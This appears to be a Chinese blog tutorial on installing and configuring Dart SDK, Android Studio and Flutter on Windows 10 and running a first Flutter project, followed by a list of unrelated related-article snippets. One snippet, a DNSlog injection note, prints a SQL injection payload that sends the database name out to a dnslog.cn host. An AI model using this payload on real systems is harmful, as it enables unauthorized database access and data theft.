当前位置: 首页 > news >正文

【window10】Dart+Android Studio+Flutter安装及运行

  • 安装Dart SDK
  • 安装Android Studio
  • 安装Flutter
  • 在Android Studio中创建并运行Flutter项目

安装前,请配置好你的jdk环境,准备好你的梯子~

安装Dart SDK

浅浅了解一下Dart:

Dart 诞生于2011年,是由谷歌开发的一种强类型、跨平台的客户端开发语言。Dart是一种简洁、清晰、基于类的面向对象的语言,具有专门为客户端优化、高生产力、快速高效、可移植(兼容ARM/x86)、易学的OO编程风格和原生支持响应式编程(Stream & Future)等优秀特性。它是基于JavaScript的,但是结构比JavaScript多。
Dart SDK官网:Dart SDK官网

安装步骤:

1、在获取Dart SDK我们可以看到可以通过命令行安装包两种方式来安装Dart SDK(使用命令行会默认安装到C盘),我是直接下载安装包的:

在这里插入图片描述

这个安装包的下载链接是需要自己拼的,官网上有说明。

下载解压完之后,就是这样一个文件夹,我放在D盘里了:

在这里插入图片描述

2、配置Dart SDK环境:windows搜索【查看高级系统设置】—>【环境变量】—>【用户变量】—>【path】路径配置到dart-sdk文件夹下的bin目录

在这里插入图片描述

3、【windows+R】打开黑窗口,通过dart --version查看是否安装成功。

在这里插入图片描述

4、建议在VS code编译器中安装两个插件,方便开发使用:

在这里插入图片描述
在这里插入图片描述

安装Android Studio

1、由于我之前安装Android Studio的时候没有保存步骤图,所以给大家找了一篇详细的安装教程:
Android Studio 安装配置教程 - Windows(详细版)

2、安装完之后,需要装两个插件,方便开发使用:

在这里插入图片描述
在这里插入图片描述

安装Flutter

浅浅了解一下Flutter:

Flutter是谷歌的移动UI框架,可以快速在iOS和Android上构建高质量的原生用户界面。

  • 具有跨平台开发特性,目前已经支持IOS、Android、Web、Windows、macOS、Linux等;
  • 热重载特性大大提高了开发效率;
  • 自绘UI引擎和编译成原生代码的方式,使得系统的运行时的高性能成为了可能;
  • 使用Dart语言,目前已经支持同时编译成Web端代码。

Flutter官网:Flutter官网

安装步骤:

1、在Flutter安装中,选择你要安装的系统,我安装的是Windows版本:

在这里插入图片描述

解压完压缩包之后是这个样子,我放在D盘里了:

在这里插入图片描述

2、配置Flutter SDK环境:windows搜索【查看高级系统设置】—>【环境变量】—>【系统变量】—>【path】路径配置到flutter文件夹下的bin目录

在这里插入图片描述

3、【windows+R】打开黑窗口,通过flutter --version查看是否安装成功。

在这里插入图片描述

4、在中国使用 Flutter需要配置Flutter镜像站点:windows搜索【查看高级系统设置】—>【环境变量】—>【系统变量】—>新建环境

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

5、【windows+R】打开黑窗口,运行flutter doctor命令检测环境是否配置成功。第一次执行此命令可能会出现以下情况:

在这里插入图片描述

【问题一】:Unable to locate Android SDK-无法找到Android SDK,因此我们需要去配置

(1)打开Android Studio,找到SDK Manager:

在这里插入图片描述

(2)找到Android SDK,勾选一下内容:

在这里插入图片描述

勾选完之后,点击确定。

(3)在Android SDK文件夹下找到platform-tools和tools两个文件路径,windows搜索【查看高级系统设置】—>【环境变量】—>【用户变量】—>【path】添加两个路径的配置。

在这里插入图片描述
在这里插入图片描述

(4)之后再执行flutter doctor会出现下面的警告,不要慌,我们根据警告提示,执行flutter doctor --android-licenses ,执行时会弹出(y/N)的选项,一直输入y就行。

在这里插入图片描述
在这里插入图片描述

(5)此时再执行flutter doctor会发现,Android SDK的问题就解决了。

在这里插入图片描述

【问题一】:Visual Studio not installed-Windows应用程序未安装Visual Studio,这对于开发windows应用程序是必要的。(如果只开发app的话,完全可以不用安装Visual Studio,但是如果需要进行桌面应用开发,就需要安装Visual Studio了)

(1)下载Visual Studio:下载Visual Studio,我安装的是社区版。

在这里插入图片描述

(2)安装成功之后会进入到这个页面,勾选这两个选项(安装之前,请确认你要安装的路径,如果C盘内存不够,请慎重!):

在这里插入图片描述

(3)点击安装(这个过程真的巨慢~~~)

在这里插入图片描述
(4)安装成功之后,再执行flutter doctor,就没问题啦!

在Android Studio中创建并运行Flutter项目

1、打开Android Studio,点击New Flutter Project—>Flutter—>确认Flutter SDK路径

在这里插入图片描述

(2)根据你的需求进行项目创建

在这里插入图片描述

(3)项目创建成功之后,在终端执行flutter run来运行。

在这里插入图片描述
在这里插入图片描述
(4)也可以连接安卓手机,进行真机调试:设备上启用 开发人员选项USB调试,用数据线连接电脑和安卓手机;在终端,运行 flutter devices 命令以验证Flutter识别您连接的Android设备;执行flutter run来运行程序。

相关文章:

【window10】Dart+Android Studio+Flutter安装及运行

安装Dart SDK安装Android Studio安装Flutter在Android Studio中创建并运行Flutter项目 安装前,请配置好你的jdk环境,准备好你的梯子~ 安装Dart SDK 浅浅了解一下Dart: Dart 诞生于2011年,是由谷歌开发的一种强类型、跨平台的客户…...

【C++】运算符重载 ⑩ ( 下标 [] 运算符重载 | 函数原型 int operator[](int i) | 完整代码示例 )

文章目录 一、下标 [] 运算符重载1、数组类回顾2、下标 [] 运算符重载 二、完整代码示例1、Array.h 数组头文件2、Array.cpp 数组实现类3、Test.cpp 测试类4、执行结果 一、下标 [] 运算符重载 1、数组类回顾 在之前的博客 【C】面向对象示例 - 数组类 ( 示例需求 | 创建封装类…...

ROS机械臂开发-开发环境搭建【一】

目录 前言环境配置docker搭建Ubuntu环境安装ROS 基础ROS文件系统 bugs 前言 想系统学习ROS,做一些机器人开发。因为有些基础了,这里随便写写记录一下。 环境配置 docker搭建Ubuntu环境 Dockerfile # 基础镜像 FROM ubuntu:18.04 # 设置变量 ENV ETC…...

深度思考rpc框架面经之五:rpc限流:rpc事务:tps测试

11 注册中心监控和rpc限流(用友云产品部二面) 11.1 你这个注册中心有实现相关的监控吗 11.1.1 如何实现注册中心有实现相关的监控 是的,我可以为你提供关于RPC注册中心及其监控的相关信息。RPC注册中心是用于管理微服务之间调用关系的中心…...

[AIGC] Java序列化利器 gson

前言: 本篇文章主要介绍了Gson库,从是什么、为什么、怎么用三个方面进行了详细的介绍。在是什么部分,介绍了Gson库的作用和特点;在为什么部分,介绍了为什么要使用Gson库;在怎么用部分,介绍了如何…...

VMware 虚拟机删除+重建

由于本人暴力地关闭虚拟机,导致虚拟机出现了一些问题,并且还没有给虚拟机拍快照,虽然还能用,但本人不想将就,于是乎打算重新新建一个虚拟机 一、删除 1.打开workstation,选择虚拟机,右键选择移除。 虽然虚…...

环面上 FHE 的快速自举:LUT/Automata Blind Rotate

参考文献: [AP14] Alperin-Sheriff J, Peikert C. Faster bootstrapping with polynomial error[C]//Advances in Cryptology–CRYPTO 2014: 34th Annual Cryptology Conference, Santa Barbara, CA, USA, August 17-21, 2014, Proceedings, Part I 34. Springer B…...

VScode配置文件launch.json 和 tasks.json配置项详细说明

tasks.json tasks.json为编译配置文件 {"version": "2.0.0", // tasks.json 文件的版本号"tasks": [ // 任务数组,包含一个编译任务配置对象{"type": "cppbuild", // 任务类型,这里是 cppbuild …...

DNSlog 注入简单笔记

无回显的盲注可以想办法回显到 dns 日志上: 1、打开 http://www.dnslog.cn 获取域名 2、注入: ?id1 and (select load_file(concat(//,(select database()),.3.mw0gxd.dnslog.cn/a)))-- 3、点击刷新得到回显:...

HDLbits: Dualedge

FPGA没有双边缘触发触发器,(posedge clk或negedge clk)会报错 “FPGA(以及其他任何地方)上的触发器是一个具有一个时钟且仅对该时钟的一个边缘敏感的器件。”参考verilog为什么不能双边沿触发 实现双边沿的两种方法 …...

网络安全_黑客(自学)

想自学网络安全(黑客技术)首先你得了解什么是网络安全!什么是黑客!!! 网络安全可以基于攻击和防御视角来分类,我们经常听到的 “红队”、“渗透测试” 等就是研究攻击技术,而“蓝队…...

AI 大框架分析基于python之TensorFlow(归一化处理,多类别分类的概率)

AI 大框架分析基于python之TensorFlow(归一化处理,多类别分类的概率) AI(人工智能)的大框架有很多种,以下是一些常见的AI框架: TensorFlow:由谷歌开发的开源机器学习框架,支持各种任务,包括图像…...

C++day01(QT简介、C++)

今日任务&#xff1a; 代码&#xff1a; #include <iostream>using namespace std;int main() {/** 输入字符串统计大写、小写、数字、空格以及其他字符的个数**/string s;cout << "请输入一个字符串" << endl;//cin >> s;getline(cin,s);i…...

Web server failed to start. Port 8080 was already in use

一、问题 package com.djc.boot;import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annota…...

new和malloc的区别

new 和 malloc 都是在 C 中用于动态分配内存的方式&#xff0c;但它们之间有一些重要的区别 对象类型的区别&#xff1a; new&#xff1a;new 是 C 的关键字&#xff0c;用于动态分配对象。它可以调用对象的构造函数进行初始化&#xff0c;并返回指向所分配对象的指针。mallo…...

python:openpyxl 读取 Excel文件,显示在 wx.grid 表格中

pip install openpyxl openpyxl-3.1.2-py2.py3-none-any.whl (249 kB) et_xmlfile-1.1.0-py3-none-any.whl (4.7 kB) 摘要&#xff1a;A Python library to read/write Excel 2010 xlsx/xlsm files pip install wxpython4.2 wxPython-4.2.0-cp37-cp37m-win_amd64.whl (18.0 M…...

12P2532X152 KJ3222X1-BA1 CE4003S2B1 EMERSON DELTAV

12P2532X152 KJ3222X1-BA1 CE4003S2B1 EMERSON DELTAV 除了标准的实时计算、通信和控制&#xff0c;边缘设备和关键网络应用的fog通常执行人工智能(AI)、虚拟现实(VR)和增强现实(AR)解决方案。 目前&#xff0c;制药商和医疗保健机构对它们的需求快速增长&#xff0c;因为它们…...

P1014 [NOIP1999 普及组] Cantor 表

#include <bits/stdc.h> using namespace std; int main() {int n,k1;cin>>n;while (n>k) {nn-k;k;}if(k%20) cout<<n<<"/"<<(k1-n);else cout<<k1-n<<"/"<<n;return 0; }...

JMeter性能分析实战一:日常登录接口

负载测试 日常需求&#xff1a;负载测试&#xff01; 对于桥的负载测试&#xff1a;我给你20t的一排车辆&#xff0c;看你能不能撑得住20t&#xff01; 对于系统的负载测试&#xff1a; 逐步增加负载&#xff0c;便于问题的发现和定位&#xff0c;不要操之过急。逐步增加负载…...

内外网结合的多服务发布架构

1. 需求 1&#xff09;有多个独立的web服务需要对外发布。 2&#xff09;有AIGC的大模型服务需要在内网图形工作站上运行&#xff0c;也需要对外发布接口。 3&#xff09;所有服务需要通过域名访问。 2. 现有资源 1&#xff09;阿里云上的ECS云服务器一台&#xff0c;考虑…...

Java 语言特性(面试系列1)

一、面向对象编程 1. 封装&#xff08;Encapsulation&#xff09; 定义&#xff1a;将数据&#xff08;属性&#xff09;和操作数据的方法绑定在一起&#xff0c;通过访问控制符&#xff08;private、protected、public&#xff09;隐藏内部实现细节。示例&#xff1a; public …...

UDP(Echoserver)

网络命令 Ping 命令 检测网络是否连通 使用方法: ping -c 次数 网址ping -c 3 www.baidu.comnetstat 命令 netstat 是一个用来查看网络状态的重要工具. 语法&#xff1a;netstat [选项] 功能&#xff1a;查看网络状态 常用选项&#xff1a; n 拒绝显示别名&#…...

linux 错误码总结

1,错误码的概念与作用 在Linux系统中,错误码是系统调用或库函数在执行失败时返回的特定数值,用于指示具体的错误类型。这些错误码通过全局变量errno来存储和传递,errno由操作系统维护,保存最近一次发生的错误信息。值得注意的是,errno的值在每次系统调用或函数调用失败时…...

零基础设计模式——行为型模式 - 责任链模式

第四部分&#xff1a;行为型模式 - 责任链模式 (Chain of Responsibility Pattern) 欢迎来到行为型模式的学习&#xff01;行为型模式关注对象之间的职责分配、算法封装和对象间的交互。我们将学习的第一个行为型模式是责任链模式。 核心思想&#xff1a;使多个对象都有机会处…...

聊一聊接口测试的意义有哪些?

目录 一、隔离性 & 早期测试 二、保障系统集成质量 三、验证业务逻辑的核心层 四、提升测试效率与覆盖度 五、系统稳定性的守护者 六、驱动团队协作与契约管理 七、性能与扩展性的前置评估 八、持续交付的核心支撑 接口测试的意义可以从四个维度展开&#xff0c;首…...

Element Plus 表单(el-form)中关于正整数输入的校验规则

目录 1 单个正整数输入1.1 模板1.2 校验规则 2 两个正整数输入&#xff08;联动&#xff09;2.1 模板2.2 校验规则2.3 CSS 1 单个正整数输入 1.1 模板 <el-formref"formRef":model"formData":rules"formRules"label-width"150px"…...

音视频——I2S 协议详解

I2S 协议详解 I2S (Inter-IC Sound) 协议是一种串行总线协议&#xff0c;专门用于在数字音频设备之间传输数字音频数据。它由飞利浦&#xff08;Philips&#xff09;公司开发&#xff0c;以其简单、高效和广泛的兼容性而闻名。 1. 信号线 I2S 协议通常使用三根或四根信号线&a…...

Kubernetes 网络模型深度解析:Pod IP 与 Service 的负载均衡机制,Service到底是什么?

Pod IP 的本质与特性 Pod IP 的定位 纯端点地址&#xff1a;Pod IP 是分配给 Pod 网络命名空间的真实 IP 地址&#xff08;如 10.244.1.2&#xff09;无特殊名称&#xff1a;在 Kubernetes 中&#xff0c;它通常被称为 “Pod IP” 或 “容器 IP”生命周期&#xff1a;与 Pod …...

Vue 模板语句的数据来源

&#x1f9e9; Vue 模板语句的数据来源&#xff1a;全方位解析 Vue 模板&#xff08;<template> 部分&#xff09;中的表达式、指令绑定&#xff08;如 v-bind, v-on&#xff09;和插值&#xff08;{{ }}&#xff09;都在一个特定的作用域内求值。这个作用域由当前 组件…...

未授权访问事件频发,我们应当如何应对?

在当下&#xff0c;数据已成为企业和组织的核心资产&#xff0c;是推动业务发展、决策制定以及创新的关键驱动力。然而&#xff0c;未授权访问这一隐匿的安全威胁&#xff0c;正如同高悬的达摩克利斯之剑&#xff0c;时刻威胁着数据的安全&#xff0c;一旦触发&#xff0c;便可…...